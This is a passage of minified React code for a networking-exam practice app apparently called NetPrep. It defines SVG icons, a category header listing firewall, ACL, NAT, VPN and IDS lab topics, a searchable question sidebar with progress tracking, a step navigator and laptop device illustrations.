2`,key:`zix9uf`}]]};je.node;var Me=T(je),Ne={name:`flame`,size:24,node:[[`path`,{d:`M12 3q1 4 4 6.5t3 5.5a1 1 0 0 1-14 0 5 5 0 0 1 1-3 1 1 0 0 0 5 0c0-2-1.5-3-1.5-5q0-2 2.5-4`,key:`1slcih`}]]};Ne.node;var Pe=T(Ne),Fe={name:`gauge`,size:24,node:[[`path`,{d:`m12 14 4-4`,key:`9kzdfg`}],[`path`,{d:`M3.34 19a10 10 0 1 1 17.32 0`,key:`19p75a`}]]};Fe.node;var Ie=T(Fe),Le={name:`grip-vertical`,size:24,node:[[`circle`,{cx:`9`,cy:`12`,r:`1`,key:`1vctgf`}],[`circle`,{cx:`9`,cy:`5`,r:`1`,key:`hp0tcf`}],[`circle`,{cx:`9`,cy:`19`,r:`1`,key:`fkjjf6`}],[`circle`,{cx:`15`,cy:`12`,r:`1`,key:`1tmaij`}],[`circle`,{cx:`15`,cy:`5`,r:`1`,key:`19l28e`}],[`circle`,{cx:`15`,cy:`19`,r:`1`,key:`f4zoj3`}]]};Le.node;var Re=T(Le),ze={name:`info`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`path`,{d:`M12 16v-4`,key:`1dtifu`}],[`path`,{d:`M12 8h.01`,key:`e9boi3`}]]};ze.node;var Be=T(ze),Ve={name:`laptop`,size:24,node:[[`path`,{d:`M18 5a2 2 0 0 1 2 2v8.526a2 2 0 0 0 .212.897l1.068 2.127a1 1 0 0 1-.9 1.45H3.62a1 1 0 0 1-.9-1.45l1.068-2.127A2 2 0 0 0 4 15.526V7a2 2 0 0 1 2-2z`,key:`1pdavp`}],[`path`,{d:`M20.054 15.987H3.946`,key:`14rxg9`}]]};Ve.node;var He=T(Ve),Ue={name:`layers`,size:24,node:[[`path`,{d:`M12.83 2.18a2 2 0 0 0-1.66 0L2.6 6.08a1 1 0 0 0 0 1.83l8.58 3.91a2 2 0 0 0 1.66 0l8.58-3.9a1 1 0 0 0 0-1.83z`,key:`zw3jo`}],[`path`,{d:`M2 12a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 12`,key:`1wduqc`}],[`path`,{d:`M2 17a1 1 0 0 0 .58.91l8.6 3.91a2 2 0 0 0 1.65 0l8.58-3.9A1 1 0 0 0 22 17`,key:`kqbvx6`}]],aliases:[`layers-3`]};Ue.node;var We=T(Ue),Ge={name:`lightbulb`,size:24,node:[[`path`,{d:`M15 14c.2-1 .7-1.7 1.5-2.5 1-.9 1.5-2.2 1.5-3.5A6 6 0 0 0 6 8c0 1 .2 2.2 1.5 3.5.7.7 1.3 1.5 1.5 2.5`,key:`1gvzjb`}],[`path`,{d:`M9 18h6`,key:`x1upvd`}],[`path`,{d:`M10 22h4`,key:`ceow96`}]]};Ge.node;var Ke=T(Ge),qe={name:`menu`,size:24,node:[[`path`,{d:`M4 5h16`,key:`1tepv9`}],[`path`,{d:`M4 12h16`,key:`1lakjw`}],[`path`,{d:`M4 19h16`,key:`1djgab`}]]};qe.node;var Je=T(qe),Ye={name:`monitor`,size:24,node:[[`rect`,{width:`20`,height:`14`,x:`2`,y:`3`,rx:`2`,key:`48i651`}],[`line`,{x1:`8`,x2:`16`,y1:`21`,y2:`21`,key:`1svkeh`}],[`line`,{x1:`12`,x2:`12`,y1:`17`,y2:`21`,key:`vw1qmm`}]]};Ye.node;var Xe=T(Ye),Ze={name:`pause`,size:24,node:[[`rect`,{x:`14`,y:`3`,width:`5`,height:`18`,rx:`1`,key:`kaeet6`}],[`rect`,{x:`5`,y:`3`,width:`5`,height:`18`,rx:`1`,key:`1wsw3u`}]]};Ze.node;var Qe=T(Ze),$e={name:`play`,size:24,node:[[`path`,{d:`M5 5a2 2 0 0 1 3.008-1.728l11.997 6.998a2 2 0 0 1 .003 3.458l-12 7A2 2 0 0 1 5 19z`,key:`10ikf1`}]]};$e.node;var et=T($e),tt={name:`radio`,size:24,node:[[`path`,{d:`M16.247 7.761a6 6 0 0 1 0 8.478`,key:`1fwjs5`}],[`path`,{d:`M19.075 4.933a10 10 0 0 1 0 14.134`,key:`ehdyv1`}],[`path`,{d:`M4.925 19.067a10 10 0 0 1 0-14.134`,key:`1q22gi`}],[`path`,{d:`M7.753 16.239a6 6 0 0 1 0-8.478`,key:`r2q7qm`}],[`circle`,{cx:`12`,cy:`12`,r:`2`,key:`1c9p78`}]]};tt.node;var nt=T(tt),rt={name:`rotate-ccw`,size:24,node:[[`path`,{d:`M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8`,key:`1357e3`}],[`path`,{d:`M3 3v5h5`,key:`1xhq8a`}]]};rt.node;var it=T(rt),at={name:`search`,size:24,node:[[`path`,{d:`m21 21-4.34-4.34`,key:`14j7rj`}],[`circle`,{cx:`11`,cy:`11`,r:`8`,key:`4ej97u`}]]};at.node;var ot=T(at),st={name:`server`,size:24,node:[[`rect`,{width:`20`,height:`8`,x:`2`,y:`2`,rx:`2`,ry:`2`,key:`ngkwjq`}],[`rect`,{width:`20`,height:`8`,x:`2`,y:`14`,rx:`2`,ry:`2`,key:`iecqi9`}],[`line`,{x1:`6`,x2:`6.01`,y1:`6`,y2:`6`,key:`16zg32`}],[`line`,{x1:`6`,x2:`6.01`,y1:`18`,y2:`18`,key:`nzw8ys`}]]};st.node;var ct=T(st),lt={name:`share-2`,size:24,node:[[`circle`,{cx:`18`,cy:`5`,r:`3`,key:`gq8acd`}],[`circle`,{cx:`6`,cy:`12`,r:`3`,key:`w7nqdw`}],[`circle`,{cx:`18`,cy:`19`,r:`3`,key:`1xt0gg`}],[`line`,{x1:`8.59`,x2:`15.42`,y1:`13.51`,y2:`17.49`,key:`47mynk`}],[`line`,{x1:`15.41`,x2:`8.59`,y1:`6.51`,y2:`10.49`,key:`1n3mei`}]]};lt.node;var ut=T(lt),dt={name:`shield-alert`,size:24,node:[[`path`,{d:`M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z`,key:`oel41y`}],[`path`,{d:`M12 8v4`,key:`1got3b`}],[`path`,{d:`M12 16h.01`,key:`1drbdi`}]]};dt.node;var ft=T(dt),pt={name:`shield-check`,size:24,node:[[`path`,{d:`M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z`,key:`oel41y`}],[`path`,{d:`m9 12 2 2 4-4`,key:`dzmm74`}]]};pt.node;var mt=T(pt),ht={name:`shield`,size:24,node:[[`path`,{d:`M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z`,key:`oel41y`}]]};ht.node;var gt=T(ht),_t={name:`smartphone`,size:24,node:[[`rect`,{width:`14`,height:`20`,x:`5`,y:`2`,rx:`2`,ry:`2`,key:`1yt0o3`}],[`path`,{d:`M12 18h.01`,key:`mhygvu`}]]};_t.node;var vt=T(_t),yt={name:`sparkles`,size:24,node:[[`path`,{d:`M11.017 2.814a1 1 0 0 1 1.966 0l1.051 5.558a2 2 0 0 0 1.594 1.594l5.558 1.051a1 1 0 0 1 0 1.966l-5.558 1.051a2 2 0 0 0-1.594 1.594l-1.051 5.558a1 1 0 0 1-1.966 0l-1.051-5.558a2 2 0 0 0-1.594-1.594l-5.558-1.051a1 1 0 0 1 0-1.966l5.558-1.051a2 2 0 0 0 1.594-1.594z`,key:`1s2grr`}],[`path`,{d:`M20 2v4`,key:`1rf3ol`}],[`path`,{d:`M22 4h-4`,key:`gwowj6`}],[`circle`,{cx:`4`,cy:`20`,r:`2`,key:`6kqj1y`}]],aliases:[`stars`]};yt.node;var bt=T(yt),xt={name:`target`,size:24,node:[[`circle`,{cx:`12`,cy:`12`,r:`10`,key:`1mglay`}],[`circle`,{cx:`12`,cy:`12`,r:`6`,key:`1vlfrh`}],[`circle`,{cx:`12`,cy:`12`,r:`2`,key:`1c9p78`}]]};xt.node;var St=T(xt),Ct={name:`terminal`,size:24,node:[[`path`,{d:`M12 19h8`,key:`baeox8`}],[`path`,{d:`m4 17 6-6-6-6`,key:`1yngyt`}]]};Ct.node;var wt=T(Ct),Tt={name:`trending-up`,size:24,node:[[`path`,{d:`M16 7h6v6`,key:`box55l`}],[`path`,{d:`m22 7-8.5 8.5-5-5L2 17`,key:`1t1m79`}]]};Tt.node;var Et=T(Tt),Dt={name:`triangle-alert`,size:24,node:[[`path`,{d:`m21.73 18-8-14a2 2 0 0 0-3.48 0l-8 14A2 2 0 0 0 4 21h16a2 2 0 0 0 1.73-3`,key:`wmoenq`}],[`path`,{d:`M12 9v4`,key:`juzpu7`}],[`path`,{d:`M12 17h.01`,key:`p32p05`}]],aliases:[`alert-triangle`]};Dt.node;var Ot=T(Dt),kt={name:`x`,size:24,node:[[`path`,{d:`M18 6 6 18`,key:`1bl5f8`}],[`path`,{d:`m6 6 12 12`,key:`d8bk6v`}]]};kt.node;var At=T(kt),jt=o((e=>{var t=Symbol.for(`react.transitional.element`),n=Symbol.for(`react.fragment`);function r(e,n,r){var i=null;if(r!==void 0&&(i=``+r),n.key!==void 0&&(i=``+n.key),`key`in n)for(var a in r={},n)a!==`key`&&(r[a]=n[a]);else r=n;return n=r.ref,{$$typeof:t,type:e,key:i,ref:n===void 0?null:n,props:r}}e.Fragment=n,e.jsx=r,e.jsxs=r})),k=o(((e,t)=>{t.exports=jt()}))(),Mt=[{id:`all`,label:`All 50 Labs`,count:50},{id:`fundamentals`,label:`Firewalls & Routers`,count:8},{id:`acl-rules`,label:`ACL & Policies`,count:11},{id:`nat`,label:`NAT & Translation`,count:3},{id:`network-services`,label:`ARP, DNS & DHCP`,count:6},{id:`threats-attacks`,label:`DDoS & IDS/IPS`,count:6},{id:`vpn-ipsec`,label:`VPN, IPsec & TLS`,count:6},{id:`zero-trust-access`,label:`Zero Trust & WAF`,count:6},{id:`troubleshooting`,label:`Triage Labs`,count:4}],Nt=({selectedCategory:e,onSelectCategory:t,onOpenSearch:n,mobileMenuOpen:r,setMobileMenuOpen:i})=>(0,k.jsxs)(`header`,{className:`sticky top-0 z-40 w-full border-b border-slate-200/80 bg-white/95 backdrop-blur-md shadow-[0_1px_2px_0_rgba(0,0,0,0.03)]`,children:[(0,k.jsxs)(`div`,{className:`mx-auto flex h-14 sm:h-16 max-w-7xl items-center justify-between px-3 sm:px-6 lg:px-8 gap-2 sm:gap-4`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2.5 sm:gap-6 lg:gap-8 min-w-0`,children:[(0,k.jsx)(`button`,{onClick:()=>i(!r),className:`flex h-9 w-9 items-center justify-center rounded-lg border border-slate-200 bg-white text-slate-600 hover:text-slate-900 lg:hidden shrink-0 active:scale-95 transition-transform`,"aria-label":`Toggle Navigation Menu`,children:r?(0,k.jsx)(At,{className:`h-5 w-5`}):(0,k.jsx)(Je,{className:`h-5 w-5`})}),(0,k.jsx)(`nav`,{className:`hidden md:flex items-center gap-2 lg:gap-3 h-14 sm:h-16 overflow-x-auto no-scrollbar`,children:Mt.map(n=>{let r=e===n.id;return(0,k.jsxs)(`button`,{onClick:()=>t(n.id),className:`relative h-full flex items-center gap-1.5 px-2.5 text-xs lg:text-sm font-medium transition-colors cursor-pointer shrink-0 ${r?`text-blue-600 font-semibold`:`text-slate-600 hover:text-slate-900`}`,children:[(0,k.jsx)(`span`,{children:n.label}),(0,k.jsx)(`span`,{className:`px-1.5 py-0.2 rounded-full text-[10px] font-mono font-bold ${r?`bg-blue-100 text-blue-700`:`bg-slate-100 text-slate-500`}`,children:n.count}),r&&(0,k.jsx)(`span`,{className:`absolute bottom-0 left-0 right-0 h-0.5 bg-blue-600 rounded-full`})]},n.id)})})]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-2 sm:gap-4 shrink-0`,children:[(0,k.jsx)(`button`,{onClick:n,className:`flex sm:hidden h-9 w-9 items-center justify-center rounded-lg border border-slate-200 bg-white text-slate-600 hover:text-slate-900 active:scale-95 transition-transform`,"aria-label":`Search questions`,title:`Search questions`,children:(0,k.jsx)(ot,{className:`h-4 w-4 text-slate-500`})}),(0,k.jsxs)(`div`,{className:`hidden sm:flex items-center gap-2 sm:gap-3`,children:[(0,k.jsxs)(`button`,{onClick:n,className:`flex items-center gap-2 rounded-lg border border-slate-200/90 bg-slate-50/80 px-2.5 sm:px-3.5 py-1.5 text-xs text-slate-500 transition-all hover:border-slate-300 hover:bg-white hover:text-slate-700 max-w-[130px] sm:max-w-none sm:w-52 md:w-60 cursor-pointer`,title:`Search questions (Ctrl+K)`,children:[(0,k.jsx)(ot,{className:`h-3.5 w-3.5 text-slate-400 shrink-0`}),(0,k.jsx)(`span`,{className:`truncate text-left`,children:`Search...`}),(0,k.jsx)(`kbd`,{className:`hidden sm:inline-block ml-auto text-[10px] font-mono text-slate-400 bg-white border border-slate-200 px-1.5 py-0.5 rounded`,children:`⌘K`})]}),(0,k.jsx)(`button`,{className:`flex h-8 w-8 items-center justify-center rounded-full text-slate-600 hover:text-slate-900 hover:bg-slate-100 transition-colors cursor-pointer`,"aria-label":`Notifications`,children:(0,k.jsx)(xe,{className:`h-4 w-4`})})]}),(0,k.jsx)(`div`,{onClick:()=>t(`all`),className:`flex cursor-pointer items-center gap-1 shrink-0 pl-1`,children:(0,k.jsxs)(`span`,{className:`text-base sm:text-xl font-black tracking-tight text-slate-900`,children:[`Net`,(0,k.jsx)(`span`,{className:`text-blue-600`,children:`Prep`})]})})]})]}),(0,k.jsx)(`div`,{className:`md:hidden flex items-center gap-1 px-3 py-2 border-t border-slate-100 bg-slate-50/60 overflow-x-auto no-scrollbar`,children:Mt.map(n=>{let r=e===n.id;return(0,k.jsxs)(`button`,{onClick:()=>t(n.id),className:`flex items-center gap-1 px-2.5 py-1 rounded-full text-[11px] font-medium transition-all shrink-0 cursor-pointer ${r?`bg-blue-600 text-white font-bold shadow-xs`:`bg-white text-slate-600 border border-slate-200 hover:bg-slate-100`}`,children:[(0,k.jsx)(`span`,{children:n.label}),(0,k.jsx)(`span`,{className:`text-[10px] font-mono px-1 rounded-full ${r?`bg-blue-700/80 text-white`:`bg-slate-100 text-slate-500`}`,children:n.count})]},n.id)})})]}),Pt=({questions:e,currentQuestionId:t,onSelectQuestion:n,completedIds:r,selectedCategory:i=`all`,mobileOpen:a,setMobileOpen:o})=>{let[s,c]=(0,_.useState)(``),l=e.filter(e=>e.title.toLowerCase().includes(s.toLowerCase())||e.id.toString().includes(s)?i===`all`||e.categoryId===i:!1),u=r.length,d=Math.round(u/e.length*100),f=(0,k.jsxs)(`div`,{className:`flex h-full flex-col bg-white overflow-hidden`,children:[(0,k.jsxs)(`div`,{className:`p-4 border-b border-slate-100`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between mb-1.5`,children:[(0,k.jsxs)(`h2`,{className:`text-base font-extrabold text-slate-900 tracking-tight`,children:[`Networking • `,(0,k.jsxs)(`span`,{className:`text-slate-500 font-medium`,children:[e.length,` Questions`]})]}),(0,k.jsx)(`button`,{onClick:()=>o(!1),className:`lg:hidden flex h-7 w-7 items-center justify-center rounded-lg text-slate-400 hover:text-slate-700 hover:bg-slate-100 cursor-pointer`,"aria-label":`Close menu`,children:`✕`})]}),(0,k.jsxs)(`div`,{className:`mt-2`,children:[(0,k.jsxs)(`div`,{className:`flex justify-between text-xs text-slate-500 mb-1.5 font-medium`,children:[(0,k.jsxs)(`span`,{children:[u,` / `,e.length,` completed`]}),(0,k.jsxs)(`span`,{className:`text-blue-600 font-bold`,children:[d,`%`]})]}),(0,k.jsx)(`div`,{className:`h-2 w-full bg-slate-100 rounded-full overflow-hidden`,children:(0,k.jsx)(`div`,{className:`h-full bg-blue-600 transition-all duration-500 rounded-full`,style:{width:`${d}%`}})})]}),(0,k.jsxs)(`div`,{className:`relative mt-3`,children:[(0,k.jsx)(ot,{className:`absolute left-3 top-2.5 h-3.5 w-3.5 text-slate-400`}),(0,k.jsx)(`input`,{type:`text`,placeholder:`Search questions...`,value:s,onChange:e=>c(e.target.value),className:`w-full rounded-lg border border-slate-200 bg-slate-50 pl-8 pr-8 py-2 text-xs text-slate-800 placeholder-slate-400 focus:border-blue-500 focus:bg-white focus:outline-none focus:ring-1 focus:ring-blue-500`}),s&&(0,k.jsx)(`button`,{onClick:()=>c(``),className:`absolute right-2.5 top-2.5 text-xs text-slate-400 hover:text-slate-700 px-1`,children:`✕`})]})]}),(0,k.jsx)(`div`,{className:`flex-1 overflow-y-auto px-2 py-2 space-y-1 overscroll-contain`,children:l.length===0?(0,k.jsxs)(`div`,{className:`p-6 text-center`,children:[(0,k.jsx)(ft,{className:`h-8 w-8 text-slate-400 mx-auto mb-2`}),(0,k.jsx)(`p`,{className:`text-xs text-slate-600 font-medium`,children:`No matching questions found.`}),(0,k.jsx)(`button`,{onClick:()=>c(``),className:`mt-2 text-xs text-blue-600 font-bold hover:underline`,children:`Clear search`})]}):l.map(e=>{let i=e.id===t,a=r.includes(e.id),s=e.id<10?`0${e.id}`:`${e.id}`;return(0,k.jsxs)(`button`,{onClick:()=>{n(e.id),o(!1)},className:`group w-full flex items-center gap-3 px-3 py-3 rounded-xl text-left transition-all cursor-pointer ${i?`bg-blue-50/90 border border-blue-200 text-blue-900 font-semibold shadow-xs`:`text-slate-700 hover:text-slate-900 hover:bg-slate-50 border border-transparent`}`,children:[(0,k.jsx)(`span`,{className:`text-xs font-mono font-semibold shrink-0 ${i?`text-blue-600 font-bold`:`text-slate-400 group-hover:text-slate-600`}`,children:s}),(0,k.jsx)(`div`,{className:`flex-1 min-w-0 pr-1`,children:(0,k.jsx)(`p`,{className:`text-xs leading-snug line-clamp-2 ${i?`text-blue-950 font-bold`:`text-slate-700`}`,children:e.title})}),(0,k.jsx)(`div`,{className:`shrink-0`,children:a?(0,k.jsx)(`div`,{className:`flex h-4 w-4 items-center justify-center rounded-full bg-emerald-500 text-white shadow-xs`,children:(0,k.jsx)(Te,{className:`h-3.5 w-3.5 fill-emerald-500 text-white`})}):i?(0,k.jsx)(`div`,{className:`h-4 w-4 rounded-full border-2 border-blue-600 flex items-center justify-center`,children:(0,k.jsx)(`span`,{className:`h-1.5 w-1.5 rounded-full bg-blue-600`})}):(0,k.jsx)(Ae,{className:`h-4 w-4 text-slate-300 group-hover:text-slate-400`})})]},e.id)})})]});return(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`aside`,{className:`hidden lg:block w-80 shrink-0 h-[calc(100vh-5.5rem)] sticky top-20 z-30 rounded-2xl border border-slate-200/90 shadow-[0_1px_3px_0_rgba(0,0,0,0.04)] bg-white overflow-hidden`,children:f}),a&&(0,k.jsxs)(`div`,{className:`fixed inset-0 z-50 lg:hidden flex`,children:[(0,k.jsx)(`div`,{className:`fixed inset-0 bg-black/40 backdrop-blur-xs transition-opacity`,onClick:()=>o(!1)}),(0,k.jsx)(`div`,{className:`relative w-80 max-w-[85vw] h-full shadow-2xl z-10 rounded-r-2xl overflow-hidden bg-white animate-in slide-in-from-left duration-200`,children:f})]})]})},Ft=({steps:e,currentStepIndex:t,onStepClick:n})=>{let r=(0,_.useRef)(null),i=(0,_.useRef)(null);return(0,_.useEffect)(()=>{t===0&&r.current?r.current.scrollTo({left:0,behavior:`smooth`}):i.current&&r.current&&i.current.scrollIntoView({behavior:`smooth`,inline:`center`,block:`nearest`})},[t,e]),!e||e.length<=1?null:(0,k.jsx)(`div`,{ref:r,className:`w-full py-2 px-1 sm:px-2 overflow-x-auto no-scrollbar scroll-smooth`,children:(0,k.jsx)(`div`,{className:`flex items-center gap-1.5 sm:gap-2.5 min-w-max mx-auto px-2`,children:e.map((e,r)=>{let a=r<t,o=r===t;return(0,k.jsxs)(_.Fragment,{children:[r>0&&(0,k.jsx)(`div`,{className:`flex items-center px-0.5 sm:px-1 shrink-0`,children:(0,k.jsx)(_e,{className:`h-3 w-3 sm:h-3.5 sm:w-3.5 transition-colors ${a?`text-emerald-500`:o?`text-blue-500`:`text-slate-300`}`})}),(0,k.jsxs)(`button`,{ref:o?i:null,onClick:()=>n(r),className:`group flex items-center gap-1.5 sm:gap-2 px-2.5 sm:px-3 py-1.5 rounded-full text-xs font-semibold transition-all cursor-pointer shrink-0 ${o?`bg-blue-600 text-white shadow-sm shadow-blue-500/20 ring-2 ring-blue-500/20`:a?`bg-emerald-50 text-emerald-800 border border-emerald-200 hover:bg-emerald-100`:`bg-white text-slate-600 border border-slate-200 hover:border-slate-300 hover:text-slate-900 shadow-2xs`}`,title:`Jump to step ${r+1}: ${e.label}`,children:[(0,k.jsx)(`span`,{className:`flex h-4 w-4 shrink-0 items-center justify-center rounded-full text-[10px] font-bold ${o?`bg-white text-blue-600`:a?`bg-emerald-500 text-white`:`bg-slate-100 text-slate-500 group-hover:bg-slate-200`}`,children:a?(0,k.jsx)(E,{className:`h-2.5 w-2.5 stroke-[3]`}):r+1}),(0,k.jsx)(`span`,{className:`whitespace-nowrap max-w-[130px] sm:max-w-[180px] truncate text-[11px] sm:text-xs`,children:e.badge||e.label.split(`:`)[0]})]})]},e.id)})})})},It=({label:e,sublabel:t,isActive:n=!1,isSuccess:r=!1,isDanger:i=!1,statusText:a,ip:o})=>(0,k.jsxs)(`div`,{className:`flex flex-col items-center group select-none relative`,children:[a&&(0,k.jsx)(`div`,{className:`mb-2 animate-bounce z-20`,children:(0,k.jsx)(`span`,{className:`px-2.5 py-0.5 rounded-full text-white text-[10px] font-mono font-bold shadow-md ${r?`bg-emerald-600`:i?`bg-rose-600`:`bg-blue-600`}`,children:a})}),(0,k.jsx)(`div`,{className:`p-3.5 rounded-full border transition-all duration-300 flex items-center justify-center ${i?`bg-rose-50/95 ring-8 ring-rose-500/25 border-rose-400 shadow-lg shadow-rose-500/10 scale-105`:r?`bg-emerald-50/95 ring-8 ring-emerald-500/25 border-emerald-400 shadow-lg shadow-emerald-500/10 scale-105`:n?`bg-blue-50/95 ring-8 ring-blue-500/25 border-blue-400 shadow-lg shadow-blue-500/10 scale-105 animate-hardware-pulse`:`bg-slate-50/60 border-slate-200/80 hover:border-slate-300`}`,children:(0,k.jsxs)(`div`,{className:`relative`,children:[(0,k.jsxs)(`svg`,{width:`104`,height:`80`,viewBox:`0 0 120 92`,fill:`none`,xmlns:`http://www.w3.org/2000/svg`,children:[(0,k.jsxs)(`defs`,{children:[(0,k.jsxs)(`linearGradient`,{id:`laptopChassis`,x1:`0`,y1:`0`,x2:`120`,y2:`92`,gradientUnits:`userSpaceOnUse`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#334155`}),(0,k.jsx)(`stop`,{offset:`50%`,stopColor:`#1e293b`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#0f172a`})]}),(0,k.jsxs)(`linearGradient`,{id:`screenGlass`,x1:`16`,y1:`8`,x2:`104`,y2:`64`,gradientUnits:`userSpaceOnUse`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#090d16`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#020617`})]}),(0,k.jsxs)(`linearGradient`,{id:`glassGloss`,x1:`0`,y1:`0`,x2:`1`,y2:`1`,children:[(0,k.jsx)(`stop`,{offset:`0%`,stopColor:`#ffffff`,stopOpacity:`0.12`}),(0,k.jsx)(`stop`,{offset:`40%`,stopColor:`#ffffff`,stopOpacity:`0.03`}),(0,k.jsx)(`stop`,{offset:`100%`,stopColor:`#ffffff`,stopOpacity:`0`})]})]}),(0,k.jsx)(`rect`,{x:`14`,y:`6`,width:`92`,height:`60`,rx:`5`,fill:`url(#laptopChassis)`,stroke:n?`#3b82f6`:`#475569`,strokeWidth:n?`2.5`:`1.5`}),(0,k.jsx)(`rect`,{x:`18`,y:`10`,width:`84`,height:`52`,rx:`3`,fill:`url(#screenGlass)`}),(0,k.jsx)(`path`,{d:`M 18 10 L 80 10 L 40 62 L 18 62 Z`,fill:`url(#glassGloss)`}),(0,k.jsx)(`rect`,{x:`18`,y:`10`,width:`84`,height:`8`,rx:`2`,fill:`#1e293b`}),(0,k.jsx)(`circle`,{cx:`24`,cy:`14`,r:`1.5`,fill:`#ef4444`}),(0,k.jsx)(`circle`,{cx:`29`,cy:`14`,r:`1.5`,fill:`#f59e0b`}),(0,k.jsx)(`circle`,{cx:`34`,cy:`14`,r:`1.5`,fill:`#10b981`}),(0,k.jsx)(`rect`,{x:`42`,y:`12.5`,width:`36`,height:`3`,rx:`1`,fill:`#334155`}),(0,k.jsx)(`rect`,{x:`23`,y:`23`,width:`24`,height:`2.5`,rx:`1`,fill:`#ec4899`}),(0,k.jsx)(`rect`,{x:`50`,y:`23`,width:`32`,height:`2.5`,rx:`1`,fill:`#38bdf8`}),(0,k.jsx)(`rect`,{x:`23`,y:`29`,width:`46`,height:`2.5`,rx:`1`,fill:`#a855f7`}),(0,k.jsx)(`rect`,{x:`72`,y:`29`,width:`16`,height:`2.5`,rx:`1`,fill:`#4ade80`}),(0,k.jsx)(`rect`,{x:`23`,y:`35`,width:`30`,height:`2.5`,rx:`1`,fill:`#facc15`}),(0,k.jsx)(`rect`,{x:`56`,y:`35`,width:`22`,height:`2.5`,rx:`1`,fill:`#38bdf8`}),(0,k.jsx)(`rect`,{x:`23`,y:`41`,width:`58`,height:`2.5`,rx:`1`,fill:`#64748b`}),(0,k.jsx)(`rect`,{x:`23`,y:`47`,width:`36`,height:`2.5`,rx:`1`,fill:`#22c55e`}),(0,k.jsx)(`circle`,{cx:`60`,cy:`8`,r:`1.2`,fill:`#0f172a`}),(0,k.jsx)(`circle`,{cx:`60`,cy:`8`,r:`0.6`,fill:`#38bdf8`}),(0,k.jsx)(`rect`,{x:`44`,y:`66`,width:`32`,height:`3`,rx:`1`,fill:`#0f172a`}),(0,k.jsx)(`path`,{d:`M 4 70 C 4 67 7 65 10 65 L 110 65 C 113 65 116 67 116 70 L 120 84 C 120 87 117 89 114 89 L 6 89 C 3 89 0 87 0 84 Z`,fill:`url(#laptopChassis)`,stroke:`#1e293b`,strokeWidth:`1`}),(0,k.jsx)(`rect`,{x:`18`,y:`68`,width:`84`,height:`8`,rx:`2`,fill:`#090d16`,stroke:`#334155`,strokeWidth:`0.5`}),(0,k.jsx)(`rect`,{x:`46`,y:`78`,width:`28`,height:`8`,rx:`2`,fill:`#1e293b`,stroke:`#334155`,strokeWidth:`0.8`}),(0,k.jsx)(`rect`,{x:`52`,y:`87`,width:`16`,height:`1.5`,rx:`0.75`,fill:`#475569`}),n&&(0,k.jsx)(`circle`,{cx:`60`,cy:`36`,r:`28`,fill:`#3b82f6`,fillOpacity:`0.12`})]}),n&&(0,k.jsxs)(`span`,{className:`absolute top-1 right-1 flex h-3.5 w-3.5`,children:[(0,k.jsx)(`span`,{className:`animate-ping absolute inline-flex h-full w-full rounded-full bg-blue-400 opacity-75`}),(0,k.jsx)(`span`,{className:`relative inline-flex rounded-full h-3.5 w-3.5 bg-blue-600 shadow-md`})]})]})}),(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-900 mt-2`,children:e}),(0,k.jsx)(`span`,{className:`text-[11px] font-mono font-semibold text-blue-700 bg-blue-50 px-2 py-0.5 rounded-md border border-blue-200 mt-0.5 shadow-2xs`,children:o||t})]}),Lt=({label:e,sublabel:t,isActive:n=!1,isSuccess:r=!1,isDanger:i=!1,statusText:a,ip:o})=>{let s=i?`bg-rose-50/95 ring-8 ring-rose-500/25 border-rose-400 shadow-lg shadow-rose-500/15 scale-105`:r?`bg-emerald-50/95 ring-8 ring-emerald-500/25 border-emerald-400 shadow-lg shadow-emerald-500/15 scale-105`:n?`bg-blue-50/95 ring-8 ring-blue-500/25 border-blue-400 shadow-lg shadow-blue-500/15 scale-105 animate-hardware-pulse`:`bg-slate-50/60 border-slate-200/80 hover:border-slate-300`,c=r?`#10b981`:i?`#ef4444`:n?`#3b82f6`:`#334155`,l=r?`#059669`:i?`#dc2626`:`#2563eb`;return(0,k.jsxs)(`div`,{className:`flex flex-col items-center group select-none relative`,children:[a&&(0,k.jsx)(`div`,{className:`mb-2 animate-bounce z-20`,children:(0,k.jsx)(`span`,{className:`px-2.5 py-0.5 rounded-full text-white text-[10px] font-mono font-bold shadow-md ${r?`bg-emerald-600`:i?`bg-rose-600`:`bg-blue-600`}`,children:a})}),(0,k.jsx)(`div`,{className:`p-3.5 rounded-full border transition-all duration-300 flex items-center justify-center ${s}`,children:(0,k.jsxs)(`div`,{className:`relative`,children:[(0,k.jsxs)(`svg`,{width:`108`,height:`82`,viewBox:`0 0 120 